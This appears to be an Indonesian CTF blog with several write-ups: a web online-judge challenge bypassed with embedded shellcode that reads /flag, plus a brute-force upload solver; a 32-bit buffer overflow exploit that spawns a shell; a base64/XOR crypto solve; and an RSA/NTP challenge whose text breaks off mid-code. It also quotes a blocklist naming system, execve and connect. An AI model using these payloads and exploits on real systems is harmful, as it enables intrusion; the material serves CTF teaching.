Senin, 03 September 2018

Write up Final HackToday. Web - Teelex (100)

Zip source code soal dapat didownload disini

Diberikan akses ke suatu web dan file zip yang merupakan source code dari web tersebut. Dari deskripsi yang diberikan pada soal, kita harus membaca flag yang berada pada /flag pada server. Berikut adalah tampilan dari web tersebut.

Web tersebut merupakan web online judge. Kita dapat memasukkan dan menjalankan codingan c. Dan web akan mengeluarkan pesan accepted atau wrong answer dengan membandingkan keluaran program dengan testcase yang ada.

Kita coba lihat source penting dari web tersebut.

submit.php

<?php
   if(isset($_FILES['code'])){

      $errors= array();
      $file_name = $_FILES['code']['name'];
      $file_size = $_FILES['code']['size'];
      $file_tmp = $_FILES['code']['tmp_name'];
      $file_type = $_FILES['code']['type'];
      $file_ext=strtolower(end(explode('.',$_FILES['code']['name'])));
      $secret = file_get_contents("judge/secret");
      $ext= array("c");

      if(in_array($file_ext,$ext) === false){
         $errors="File yang diizinkan hanya C.";
      }

      if($file_size > 2097152) {
         $errors='File tidak boleh lebih dari 2 MB';
      }
      if(empty($errors)==true) {
        $code_name = sha1($file_name.$secret.time());
        move_uploaded_file($file_tmp,"/tmp"."/".$code_name.".c");

        $out = shell_exec("python judge/oj.py ".$code_name);
        if(intval($out) === 1){
            echo "Accepted";
        }
        else if(intval($out) === 0){
            echo "Wrong Answer";
        }
        else if(intval($out) === -1 || intval($out) === -2){
            echo "Something wrong. Hacker not allowed here";
        }
      }else{
        print_r($errors);
      }
   }
?>


Submit.php akan memanggil script python judge/oj.py untuk melakukan compilasi pada script c yang diupload.

oj.py

import sys
import os
import subprocess
import re
from some_var import *

count = 1

def compile(name):
    cmd = "PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin' gcc -o /tmp/%s.bin /tmp/%s.c 2>&1" % (name,  name)
    os.system(cmd)

def delete(name):
    os.system("rm /tmp/%s.bin /tmp/%s.c" % (name,  name))

def judge(name):
    if(purifier(name) == -1):
        return -1
    sec(name)
    compile(name)
    accepted = 1
    tc_in = open("testcase/1.in")
    tc_out = open("testcase/1.out").read()
    hasil = "a"
    try:
        hasil = subprocess.check_output("/tmp/%s.bin" % name , stdin = tc_in)
        delete(name)

    except:
        delete(name)

    if(hasil.lower() == "bad system call"):
        return -2
    if(tc_out != hasil):
        accepted = 0

    return accepted

def sec(name):
    file = open("/tmp/%s.c" %(name)).read()
    file = re.sub(r"//(.+?)\n", "   ", file, flags=re.MULTILINE)
    file = re.sub(r"/\*(\S|\s)*?\*/", "   ", file, flags=re.MULTILINE)
    file = re.sub(r'int(\s+)main(\s*)\((\S|\s)*?\{', adder, file,flags=re.MULTILINE)
    file = kepala  + file
    open("/tmp/%s.c" %(name), "w").write(file)


def purifier(name):
    file = open("/tmp/%s.c" %(name)).read()

    for ins in black:
        if ins in file:
            print ins
            return -1


def main(): 
    file_name = sys.argv[1]
    print judge(file_name)

main()

some_var.py

import os
adder = """

int main  (int argc, char const *argv[]){
if (install_syscall_filter()) return 1;


"""

kepala = '''

#define _GNU_SOURCE 1
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>

#include "%s/config.h"
#include "%s/seccomp-bpf.h"


static int install_syscall_filter(void)
{
    struct sock_filter filter[] = {
        /* Validate architecture. */
        VALIDATE_ARCHITECTURE,
        /* Grab the system call number. */
        EXAMINE_SYSCALL,
        /* List allowed syscalls. */
        ALLOW_SYSCALL(rt_sigreturn),
#ifdef __NR_sigreturn
        ALLOW_SYSCALL(sigreturn),
#endif
        ALLOW_SYSCALL(exit_group),
        ALLOW_SYSCALL(exit),
        ALLOW_SYSCALL(read),
        ALLOW_SYSCALL(write),
        ALLOW_SYSCALL(fstat),
        ALLOW_SYSCALL(mmap),
        ALLOW_SYSCALL(rt_sigprocmask),
        ALLOW_SYSCALL(mprotect),
        ALLOW_SYSCALL(rt_sigaction),
        ALLOW_SYSCALL(brk),
        ALLOW_SYSCALL(nanosleep),
        ALLOW_SYSCALL(lseek),
        ALLOW_SYSCALL(alarm),
        ALLOW_SYSCALL(open),

        KILL_PROCESS,
    };
    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
        .filter = filter,
    };

    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
        perror("prctl(NO_NEW_PRIVS)");
        goto failed;
    }
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) {
        perror("prctl(SECCOMP)");
        goto failed;
    }
    return 0;

failed:
    if (errno == EINVAL)
        fprintf(stderr, "SECCOMP_FILTER is not available. :(");
    return 1;
}

''' %(os.getcwd()+"/judge", os.getcwd()+"/judge")

black = [
 "clone",
 "system",
 "execveat",
 "fork",
 "execve",
 "dup",
 "dup2",
 "open",
 "alarm",
 "connect",
 "write",
 "fwrite",
 "fprintf",
 "read",
 "fopen",
 "getc",
 "read",
 "write"
]

Didalam script oj.py ada beberapa pengamanan yang dilakukan pada source c yang digunakan.
1. Akan dicek fungsi yang digunakan, apabila terdapat string dari beberapa fungsi berbahaya yang sudah didefine didalam array black maka program akan langsung return nilai -1, sehingga langsung muncul pesan hacker.
2. Semua comment yang ada akan dihilangkan.
3. whitespace diantara fungsi main akan dihilangkan.
4. Terdapat penambahan seccomp pada source c yang akan dicompile.

Apabila pengamanan sudah dilakukan, source dicompile dan dieksekusi dengan stdin dari 1.in. Dan output dibandingkan dengan 1.out. Jika sama maka accepted akan menjadi 1. Jika salah maka accepted akan menjadi 0, sehingga hasil yang keluar adalah wrong answer.

Kita tidak dapat menggunakan reverse shell karena, syscall system dan syscall connect tidak diallow oleh seccomp. Output juga tidak ditampilkan kelayar sehingga kita tidak dapat langsung membaca flag. Namun kita dapat membaca flag melalui assembly/shellcode.

Berikut rancangan source code c yang akan digunakan untuk upload file. Namakan saja villain.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
char flag[100] = "/flag";
char simpan[100] = {0};
// digunakan untuk pop nilai ke argumen
int notusedfun(char *rdi, char *rsi, char *rdx, char *rcx, int r8, int r9){

    return 0;
}


int main(int argc, char const *argv[])
{
    char *cd;
    char shellcode[10000] = "";

    // prepare
    cd = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    mprotect(cd, 4096, PROT_WRITE|PROT_READ|PROT_EXEC);
    void (*func)() = (void (*)())cd;
    memcpy(cd, shellcode, 4096);

    // brute force
    int offset = 0;
    int tebak = 'H';
    notusedfun(flag, simpan, 0, 0, offset, tebak);
    func();

    // judges
    int n;
    int hasil = 0;
    int temp  = 0;
    scanf("%d", &n);

    for (int i = 0; i < n; ++i)
    {
        scanf("%d", &temp);
        hasil += temp;
    }
    printf("%d\n", hasil);

    return 0;
}

Karena output blind, maka kita harus menebak karakter flag satu persatu. Skenario shellcode yang digunakan adalah sebagai berikut.
1. syscall open pada /flag
2. Baca /flag kedalam string simpan
3. Bandingkan nilai tebak dengan offset karakter pada simpan. Apabila beda maka program akan exit. Dan apabila sama maka program akan lanjut mengerjakan soal. Karakter flag yang benar akan ditandai dengan accepted pada online judge.

Berikut rancangan shellcode yang digunakan

from pwn import *

context.arch = 'amd64'

# Read flag and compare char at offset with comp value
# exit if condition false / return if condition true
# rdi := file yg mau dicari
# rsi := alamat sementara
# r8 := offset
# r9 := karakter yg mau ditebak

offset = 1
tebak  = 1
asem    = """
mov r15, rsi

mov rax, 2
mov rsi, 0
mov rdx, 0
syscall

xchg rax, rdi
xor rax, rax
mov rsi, r15
nop
nop
nop
nop
add rdx, 400
nop
nop
nop
nop
nop
syscall

mov rcx, rsi
add rcx, r8
mov al, byte ptr [rcx]
nop
nop
nop
nop
mov rbx, r9
nop
nop
nop
nop
cmp rax, rbx
je good

bad:
mov rax, 60
syscall

good:
ret
"""

baru = (asm(asem))
print repr(baru)[1:-1]
print disasm(baru)

Terdapat beberapa nop karena setelah dicoba dieksekusi tanpa nop instruksi yang dilakukan menjadi salah. Hal ini baru diketahui jika sebelumnya mendebug shellcode di gdb, sebelum diupload ke server.

Codingan villain.c setelah ditambahkan shellcode

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
char flag[100] = "/flag";
char simpan[100] = {0};
int notusedfun(char *rdi, char *rsi, char *rdx, char *rcx, int r8, int r9){

    return 0;
}


int main(int argc, char const *argv[])
{
    char *cd;
    char shellcode[10000] = "I\x89\xf7H\xc7\xc0\x02\x00\x00\x00H\xc7\xc6\x00\x00\x00\x00H\xc7\xc2\x00\x00\x00\x00\x0f\x05H\x97H1\xc0L\x89\xfe\x90\x90\x90\x90H\x81\xc2\x90\x01\x00\x00\x90\x90\x90\x90\x90\x0f\x05H\x89\xf1L\x01\xc1\x8a\x01\x90\x90\x90\x90L\x89\xcb\x90\x90\x90\x90H9\xd8t\tH\xc7\xc0<\x00\x00\x00\x0f\x05\xc3";

    // prepare
    cd = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    mprotect(cd, 4096, PROT_WRITE|PROT_READ|PROT_EXEC);
    void (*func)() = (void (*)())cd;
    memcpy(cd, shellcode, 4096);

    // brute force
    int offset = 0;
    int tebak = 'H';
    notusedfun(flag, simpan, 0, 0, offset, tebak);
    func();

    // judges
    int n;
    int hasil = 0;
    int temp  = 0;
    scanf("%d", &n);

    for (int i = 0; i < n; ++i)
    {
        scanf("%d", &temp);
        hasil += temp;
    }
    printf("%d\n", hasil);

    return 0;
}


Kita coba upload script tersebut kedalam server. Kita menebak karakter ‘H’ sebagai awal flag dengan offset 0.

Kita berhasil menebak karakter pertama di flag yaitu ‘H’. Langkah selanjutnya tinggal buat script bruteforce untuk menebak karakter.

Berikut script solver akhir.

import requests
import string
prt = string.printable
burp0_url = "http://2.2.2.2:50001/submit.php"

burp0_cookies = {"remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d": "eyJpdiI6ImF3dDlkRTJLbUhFN3Rnam01QjZvT2c9PSIsInZhbHVlIjoiRlwvY1ZsVW9cL0tHUE5kajk1anpvTVI5QkNhQUMxR2RhbGthSGZJTEQrZEUzMlRaVkVFcFdLTE5kTytHd3krdm9QVDdjaWQ4bWlzQzNEXC9VOGkzakVFOVViYnJ0VkdkMnRtY2dLXC9GNVNRR2FtWmlBQk9Sejl4eTV3U2RHRnQ0aVArYXMxTlVPamdLcXBcL0lhWUxNTkxOSjVHZTF0OWZvUkZzTlwvdW93TnlsandiTThBaFZrK2NQdWhVWDM5UTFmUk1EIiwibWFjIjoiZWRjNWZkNThhM2QyOWMwZGVkN2VmMGZiNzZlNGZlMmU2Y2YwNzY1NTY2ODU4NjA5YTI4OGIwMGY3NjFhZTFlMiJ9"}
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://localhost:9000", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarydd92s3qmV6yceDF8", "Save-Data": "on", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Referer": "http://localhost:9000/sf", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}

offset = '0'
karakter = 'r'

burp0_data="""------WebKitFormBoundarydd92s3qmV6yceDF8\r\nContent-Disposition: form-data; name=\"code\"; filename=\"villain.c\"\r\nContent-Type: text/x-csrc\r\n\r\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys/mman.h>\nchar flag[100] = \"/flag\";\nchar simpan[100] = {0};\nint notusedfun(char *rdi, char *rsi, char *rdx, char *rcx, int r8, int r9){\n\n\treturn 0;\n}\n\n\nint main(int argc, char const *argv[])\n{\n\tchar *cd;\n\tchar shellcode[10000] = \"I\\x89\\xf7H\\xc7\\xc0\\x02\\x00\\x00\\x00H\\xc7\\xc6\\x00\\x00\\x00\\x00H\\xc7\\xc2\\x00\\x00\\x00\\x00\\x0f\\x05H\\x97H1\\xc0L\\x89\\xfe\\x90\\x90\\x90\\x90H\\x81\\xc2\\x90\\x01\\x00\\x00\\x90\\x90\\x90\\x90\\x90\\x0f\\x05H\\x89\\xf1L\\x01\\xc1\\x8a\\x01\\x90\\x90\\x90\\x90L\\x89\\xcb\\x90\\x90\\x90\\x90H9\\xd8t\tH\\xc7\\xc0<\\x00\\x00\\x00\\x0f\\x05\\xc3\";\n\t\n\t// prepare\n  \tcd = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);\n\tmprotect(cd, 4096, PROT_WRITE|PROT_READ|PROT_EXEC);\n\tvoid (*func)() = (void (*)())cd;\n\tmemcpy(cd, shellcode, 4096);\n\n\t// brute force\n\tint offset = 1;\n\tint tebak = 'r';\n\tnotusedfun(flag, simpan, 0, 0, offset, tebak);\n\tfunc();\n\n\t// judges\n\tint n;\n\tint hasil = 0;\n\tint temp  = 0;\n\tscanf(\"%d\", &n);\n\n\tfor (int i = 0; i < n; ++i)\n\t{\n\t\tscanf(\"%d\", &temp);\n\t\thasil += temp;\n\t}\n\tprintf(\"%d\\n\", hasil);\n\n\treturn 0;\n}\r\n------WebKitFormBoundarydd92s3qmV6yceDF8--\r\n"""

flag = ""

def normalsearch():
    global flag
    for i in range(0,1000):
        cari = burp0_data.replace("offset = 1", "offset = %d" % (i))
        for j in prt:
            pload = cari.replace("tebak = 'r'", "tebak = %s" % repr(j))
            # print pload
            print i, j, flag
            koneksi = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=pload)
            # print koneksi.text
            if(koneksi.text == "Accepted"):
                flag += j
                break



normalsearch()

Jalankan dengan seksama, dan nikmati jalannya program. Memang cukup lama untuk mendapatkan flag. Namun flag tetap flag. Berikut adalah hasil akhir dari program setelah flag sudah didapatkan.

Sekian write up hacktoday final kali ini. Semoga soal soal yang kami berikan dapat bermanfaat dan menambah ilmu bagi kita semua. Kurang lebihnya mohon maaf apabila panitia banyak kesalahan baik dari segi soal, ataupun kelalaian. Kritik dan saran mengenai hacktoday dapat disampaikan kepada kami agar lebih baik kedepannya. Terimakasih sudah bermain :D.

Senin, 13 Agustus 2018

Write Up Binary Exploitation. HackToday 2018 Quals

Soal dapat didownload di link

Senin, 30 April 2018

Write Up Binary Exploit BTP - Byte Checker(300)

Made with Remarkable! Diberikan binary dengan atribut sebagai berikut.
a@a-l ~/joints/chek $ file checker_b6511e7fde4f5bc1d31ba017af24ffc4 
checker_b6511e7fde4f5bc1d31ba017af24ffc4: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=6df8cbba571d937fe1de0d4cbd94240a2b80bba6, not stripped
a@a-l ~/joints/chek $ checksec checker_b6511e7fde4f5bc1d31ba017af24ffc4 

[*] '/home/a/joints/chek/checker_b6511e7fde4f5bc1d31ba017af24ffc4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
Berikut adalah dua fungsi yang penting didalam program
Fungsi main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int i; // [esp+1Ch] [ebp-4h]

  alarm(30);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  printf(
    ">>> To get flag, read 'flag.txt'. Buffer address = %p\n>>> Feed me something delicious: \n",
    (unsigned int)buffer);
  count = read(0, buffer, 512);
  if ( count & 7 )
  {
    printf(">>> Length of message must be multiple of 8 bytes (got %d bytes)\n", count);
    exit(1);
  }
  for ( i = 1; 8 * i - 1 < count; ++i )
  {
    if ( buffer[8 * i - 1] != i )
    {
      printf(">>> byte at %d should be 0x%02x got 0x%02x\n", 8 * i - 1, i, (unsigned __int8)buffer[8 * i - 1]);
      exit(1);
    }
  }
  overflow(count);
  puts(">>> OK, but you need to exploit this");
  return 0;
}
Fungsi Overflow
int overflow()
{
  int i; // ebx
  int result; // eax
  char v2[132]; // [esp+0h] [ebp-84h]

  for ( i = 0; ; ++i )
  {
    result = count;
    if ( i >= count )
      break;
    v2[i] = buffer[i];
  }
  return result;
}
Binary meminta input dengan maksimal 512 byte. Didalam fungsi main, input dicek dengan beberapa konstrain berikut.
1. Panjang input harus kelipatan 8. Panjang input dihitung dengan return value dari read sehingga panjang input tidak dapat dibypass.
2. Setiap ujung dari kelipatan 8 byte, merupakan nilai urutan kelipatan tersebut. Jika Kelipatan pertama maka ujung dari 8 byte tersebut adalah ‘\x01’
Terdapat celah overflow pada binary tersebut pada fungsi overflow. Buffer 0x84 + 4. Karena pada eip overflow masih berada pada urutan 0 - 4 byte pertama maka tidak ada konstrain, sehingga kita dapat loncat ke alamat manapun pada memori.
Karena binary memiliki executable segment, kita juga dapat melakukan eksekusi shellcode di alamat bss + stack.
Berikut data register sesaat sebelum fungsi loncat ke saved eip.
EAX: 0x90 
EBX: 0x11111111 
ECX: 0x80ebf40 --> 0x1010101 
EDX: 0x200 
ESI: 0x0 
EDI: 0x80ea00c --> 0x8067b90 (<__stpcpy_sse2>:  mov    edx,DWORD PTR [esp+0x4])
EBP: 0x11111111 
ESP: 0xffaa09fc --> 0x80ebf6c --> 0x6565152 
Alamat yang berada pada ecx adalah alamat input.
Dengan beberapa celah tersebut maka kita akan coba susun payload eksploit.
Yang terpikirkan oleh saya adalah mengeksekusi read untuk kembali mengisi shellcode yang sebenarnya ke alamat bss, dan loncat kembali ke bss. Saya rasa itu lebih mudah dibandingkan harus membuat shellcode sendiri.
Namun untuk memenuhi konstrain kelipatan keberapa, kita harus menambahkan shellcode kita dengan beberapa padding yang memenuhi.
Dengan menggenerate menggunakan skrip sederhana kita dapat mendapatkan opcode yang mungkin memenuhi.
.
0x6    0:   06                      push   es
0x7    0:   07                      pop    es
.
Berikut hasil eksekusi shellcode yang kami buat.
gdb-peda$ x/100i 0x80ebf6c
=> 0x80ebf6c <buffer+44>:   push   edx
   0x80ebf6d <buffer+45>:   push   ecx
   0x80ebf6e <buffer+46>:   push   esi
   0x80ebf6f <buffer+47>:   push   es ; padding '\x06' karena urutan ke 6
   0x80ebf70 <buffer+48>:   pop    es ; pop kembali agar stack tidak rusak
   0x80ebf71 <buffer+49>:   mov    eax,0x806d140
   0x80ebf76 <buffer+54>:   push   es ; di push terlebih dahulu agar tidak rusak
   0x80ebf77 <buffer+55>:   pop    es ; padding '\x07' karena urutan ke 8
   0x80ebf78 <buffer+56>:   call   eax ; panggil read
   0x80ebf7a <buffer+58>:   jmp    ecx ; loncat ke shellcode
   0x80ebf7c <buffer+60>:   nop
   0x80ebf7d <buffer+61>:   nop
   0x80ebf7e <buffer+62>:   nop
Berikut solver.py
from pwn import *
from sys import *
from time import *
p = process("./checker_b6511e7fde4f5bc1d31ba017af24ffc4")
# p = connect("35.197.134.203", 8031)

cmd = "b *0x08048E4C"

if(len(argv) == 3):
    gdb.attach(p, cmd)
    sleep(1)


pload = ''

# padding awal agar didapat kelipatan 6 di selanjutnya
for i in range(1, 6):
    pload +=  chr(i) * 7
    pload +=  chr(i)

        # padding + popedx + popecx +popesi + pad   
pload += "\x05" * 4 + "\x52\x51\x56" + "\x06"
        # mov eax, alamat_fungsi_read + pad lagi
pload += "\x07\xb8@\xd1\x06\x08" + "\x06\x07"
        #call eax ; panggil read
pload += "\xff\xd0"
        # jmp ecx ; alamat shellcode ada sudah berada di ecx
pload += "\xff"
pload += "\xe1"
pload += "\x90" * 3
pload += "\x08"

# padding
for i in range(9, 18):
    pload +=  chr(i) * 7
    pload +=  chr(i)

#alamat shellcode diaturh
pload += p32(0x80ebf6c)

# padding
pload += p32(0x1206D140)

print len(pload)
print len(pload) % 8
p.send(pload)
sh = asm(shellcraft.sh())
# kirim shellcode yang sesungguhnya
p.sendline(sh)
p.interactive()
Mari kita coba jalankan dengan semangat
>>> To get flag, read 'flag.txt'. Buffer address = 0x80ebf40
>>> Feed me something delicious: 
$ ls
cek.py
checker_b6511e7fde4f5bc1d31ba017af24ffc4
checker_b6511e7fde4f5bc1d31ba017af24ffc4.id0
checker_b6511e7fde4f5bc1d31ba017af24ffc4.id1
checker_b6511e7fde4f5bc1d31ba017af24ffc4.id2
checker_b6511e7fde4f5bc1d31ba017af24ffc4.nam
checker_b6511e7fde4f5bc1d31ba017af24ffc4.til
core
log
peda-session-checker_b6511e7fde4f5bc1d31ba017af24ffc4.txt
solve.py
$ id
uid=1000(a) gid=1000(a) groups=1000(a),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),130(sambashare)

Senin, 29 Januari 2018

Write up In CTF - Giant XOR

writeup

inctf - GiantXOR

Deskripsi Soal

Diberikan source code encrypt.py dan ciphertext.txt dalam hexadecimal encode. Berikut isi dari kedua file tersebut.
encrypt.py
from os import urandom
import string

key = ""

def get_key(keylength):
    global key
    c = urandom(1)
    if len(key)!=keylength:
        if c in string.printable and c not in string.whitespace:
            key += c
            get_key(keylength)
        else:
            get_key(keylength)

def multiplyKey(pt, k):
    while len(k) < len(pt):
        k += k
    k = k[:len(pt)]
    return k

def encrypt(plaintext, k):
    ciphertext = ""
    plaintext = plaintext.encode("base64")
    k = multiplyKey(plaintext, k)
    assert len(k) == len(plaintext)
    for i in range(len(plaintext)):
        ciphertext += chr(ord(plaintext[i]) ^ ord(k[i]))
    return ciphertext.encode("hex")

secret_flag = open("plaintext.txt",'r').read().strip()
keylength = int(open("keylength.txt",'r').read().strip())

get_key(keylength)

print "key: ", key
print "keylength: ", keylength

ciphertext = encrypt(secret_flag, key)

object1 = open("ciphertext.txt",'w').write(ciphertext)
ciphertext
6e19223f204b31183e333f005c122d37264a350e3e3c2808672436250b3f3d1b2e2c151c671d553e182b4713262c3f045c1d553e0b3f391c1449385d7309223c20153d022d3c011a673322394822242e0118003a5a1333123b222b361b22353d5110231230222b1f102c28566e03281a2e21240c041e3e2d491337022e313b26181a3a5a532919122a31343e071f2e2d4928531a2e31342607713702673a3963140b1737001c0f5c742d3a172e133a331b4b3d167f090418210b3a31390d0f025933390810023a334e0e2427733c021818081119141c0928552629170c172a230f08373808246a0a113d142645421b357e0853327132013d2439243565000c190514093d3f171b0b6503070a2f001b2e0d140a0e6a7f0a340522442d1a3d17356913500870290b2e31435d0d7a32061e70101f7e2f495d5f6730263a1a4b39042d49055f6d79506d48

Solusi

Jika kita lihat dari encrypt.py, program mengenkrip plaintext dengan alur berikut.
  1. Plaintext dijadikan base64 terlebih dahulu
  2. Hasil dari base64 plain, dilakukan multiple xor dengan key printable string dari urandom dengan panjang key yang tidak diketahui.
Kesulitan dari soal ini adalah plaintext diubah menjadi base64 sehingga kita tidak dapat menggunakan xortool secara langsung untuk mendecrypt ciphertext dan mencari key. Karena itu kita akan mencoba memecahkannya secara manual.
Untuk mendekript ini, kita harus mencari panjang key nya terlebih dahulu. Panjang key dapat diketahui dengan menggunakan hamming distance. Berikut script hamming distance yang digunakan untuk mencari length key.
#! /usr/bin/env python

from binascii import b2a_hex

def hamming_distance(A, B):
  X = int(b2a_hex(A),16) ^ int(b2a_hex(B),16)
  return count_binary_ones(X)

def count_binary_ones(X):
  ret = 0
  while X != 0:
    ret = ret + 1
    X &= X-1  
  return ret

def normalized_hamming_distance (A, length): # Takes adjacent groups of 'length' length and finds avg hamming dist and normalizes it
  ham_sum = 0
  for i in range(len(A)/length - 1):
    ham_sum += hamming_distance(A[(i+0)*length:(i+1)*length], A[(i+1)*length:(i+2)*length])
  ham_avg = (1.0 * ham_sum) / (len(A)/length - 1)
  norm_ham = ham_avg / length
  return norm_ham

def test():
  if hamming_distance("this is a test","wokka wokka!!!") == 37:
    print "Hamming Distance tests pass"
  if normalized_hamming_distance("this is a testwokka wokka!!!",14) == 37.0/14:
    print "Normalized Hamming Distance tests pass"


data = ""
filename = 'ciphertext.txt'
filename = open(filename).read()
data = filename.decode('hex')
test()
best_hamming_dist = float('inf')
for KEYSIZE in range(2,80):
  ham = normalized_hamming_distance(data,KEYSIZE)
  if ham < best_hamming_dist:
    best_hamming_dist = ham
    best_keysize = KEYSIZE

KEYSIZE = best_keysize

print "[#] Inferred KEYSIZE = " + str(KEYSIZE)
Hasil
a@a-l ~/CTF/inctf/giantxor $ python hd.py 
Hamming Distance tests pass
Normalized Hamming Distance tests pass
[#] Inferred KEYSIZE = 12
Dari script didapat panjang key adalah 12 karakter. Ide selanjut nya kita harus menebak key dari ciphertext yang sudah ada. Kita tidak dapat menggunakan frequency english letter pada plaintext, karena string di encode menggunakan base64. Kita coba cara lain, yaitu dengan melakukan bruteforce, perhuruf pada key. Berikut alur bruteforce tersebut.
misal 
key = "sesuatu" 
cipher = cipher

brute key ke 0. xor key ke 0 dengan semua cipher[0 + j*12]
kalo semua hasil nya masuk ke base64 tambah key

brute key ke i. xor key ke i dengan semua cipher[i + j*12]
kalo semua hasil nya masuk ke base64 tambah key.

lakukan sampai semua key memenuhi syarat tersebut
Menggunakan rekursif sederhana key dapat diketahui. Jika kita sudah mendapatkan key. Lakukan multiple xor dengan cipher text. dan didapatkan plaintext.
Berikut script untuk mencari kunci sekaligus mendecrypt ciphertext
import string 
from base64 import *
base64str = string.ascii_letters + string.digits + "=+/" + "\n"
prstring = string.printable

def multiplexor(cipher, key):
 hasil = ""
 for i in range(len(cipher)):
  hasil += chr( ord(cipher[i]) ^ ord(key[i % 12]))
 return hasil

def valid(key_index, ch): 
 # Cek semua hasil xor jika ada yang bukan merupakan string base64 return 0
 for index in range(key_index, len(data), 12):
  if( chr(ord(data[index]) ^ ord(ch)) not in base64str ):
   return 0
 return 1 

def findkey_rec(data, block, level, part):
 if (level == part):

  for ch in prstring:
   if valid(block + level, ch) :
    key.append(ch)
    part_key = ''.join(key)
    global password
    password += part_key
    return part_key
    # Password ketemu
 for ch in prstring:
  if valid(block + level, ch) :
   key.append(ch)
   findkey_rec(data, block, level + 1, part)
   key.pop()


data = open("ciphertext.txt").read()
data = data.decode('hex')

key = []
password = ""
part = 6

# Part dilakukan untuk mendapatkan key perblock.

for block in range(0, 12, part+1):
 key = []
 findkey_rec(data, block, 0, part) 

hasil = multiplexor(data, password)
print "Base64 plain :\n\n%s" % hasil

print "Plain : %s" % b64decode(hasil)
Berikut hasil dekripsi ciphertext
Base64 plain :

SSBob3BlIHRoaXMgd2FzIGEgZnVuIGNoYWxsZW5nZS4gQWRkaW5nIGJhc2U2NCBlbmNvZGluZyBi
ZWZvcmUgYSByZXBlYXRlZCBrZXkgWE9SIHJlYWxseSBtYWRlIHRoaW5ncyBhIGJpdCBtb3JlIGRp
ZmZpY3VsdCwgb3IgZGlkIGl0PyBCdHcsIENvbmdyYXRzIG9uIHNvbHZpbmcgdGhlIGNoYWxsZW5n
ZSEgR29vZCB3b3JrISBIZXJlIGlzIHlvdXIgZmxhZzogaW5jdGZ7YmFzZTY0X2QxZF80bGxfN2hl
X200ZzFjX3JpZ2h0P30=

Plain : I hope this was a fun challenge. Adding base64 encoding before a repeated key XOR really made things a bit more difficult, or did it? Btw, Congrats on solving the challenge! Good work! Here is your flag: inctf{base64_d1d_4ll_7he_m4g1c_right?}
FLAG : inctf{base64_d1d_4ll_7he_m4g1c_right?}

Selasa, 16 Januari 2018

Write up TUCTF - Crypto Clock

readme

TUCTF - Crypto Clock (300 pts)

Deskripsi soal

These damn hackers have hit our NTP server with something called crypto clock...

Our sysadmin found these suspicious packets just before our systems went down.

Can you get back in???

nc cryptoclock.tuctf.com 1230

MD5 (network_dump) = bdfcfee713b6ad53f4923f96863e385c

UPDATE: The server side code is running Python 2

Solusi

Diberikan koneksi socat dan sebuah file pcap. Ketika file pcap diekstrak didapatkan string base64 encode yang sepertinya merupakan source dari program socat tersebut.

Berikut adalah source code dari program tersebut

#!/usr/bin/env python
import sys
import random
import arrow

big_1=44125640252420890531874960299151489144331823129767199713521591380666658119888039423611193245874268914543544757701212460841500066756559202618153643704131510144412854121922874915334989288095965983299150884589072558175944926880089918837606946144787884895502736057098445881755704071137014578861355153558L
big_2=66696868460135246134548422790675846019514082280010222055190431834695902320690870624800896599876321653748703472303898494328735060007496463688173184134683195070014971393479052888965363156438222430598115999221042866547813179681064777805881205219874282594291769479529691352248899548787766385840180279125343043041L


flag = "THEFLAG"
keys = {
    "n":142592923782837889588057810280074407737423643916040668869726059762141765501708356840348112967723017380491537652089235085114921790608646587431612689308433796755742900776477504777927984318043841155548537514797656674327871309567995961808817111092091178333559727506289043092271411929507972666960139142195351097141,
    "e": 3
}

#now to get some randomness in here!
with open('/dev/urandom', 'rb') as f:
    rand = f.read(8)

rand_int = int(rand.encode('hex'),16)

#now lets use something easier.
random.seed(rand_int)

offset = random.randint(big_1,big_2)

while True:
    sys.stdout.write( '''Welcome to the ntp server
What would you like to do?
    1) get current time
    2) enter admin area
    3) exit
:''')
    sys.stdout.flush()
    response = raw_input('')
    if response == '1':
        time = arrow.utcnow().timestamp + offset
        enc_time = pow(time,keys['e'],keys['n'])
        sys.stdout.write('HAHAHAHAHAHA, this NTP server has been taken over by hackers!!!\n')
        sys.stdout.write('here is the time encrypted with sweet RSA!\n')
        sys.stdout.write(str(enc_time))
        sys.stdout.write('\n')
        sys.stdout.flush()
    elif response == '2':
        # lets get even more random!
        time = arrow.utcnow().timestamp + offset
        random.seed(time)
        guessing_int = random.randint(0,999999999999)
        sys.stdout.write('''ACCESS IS ONLY FOR TRUE HACKERS!
to prove you are a true hacker, predict the future:''')
        sys.stdout.flush()
        response = raw_input('')
        if response == str(guessing_int):
            sys.stdout.write('''Wow, guess you are a hacker.\n''')
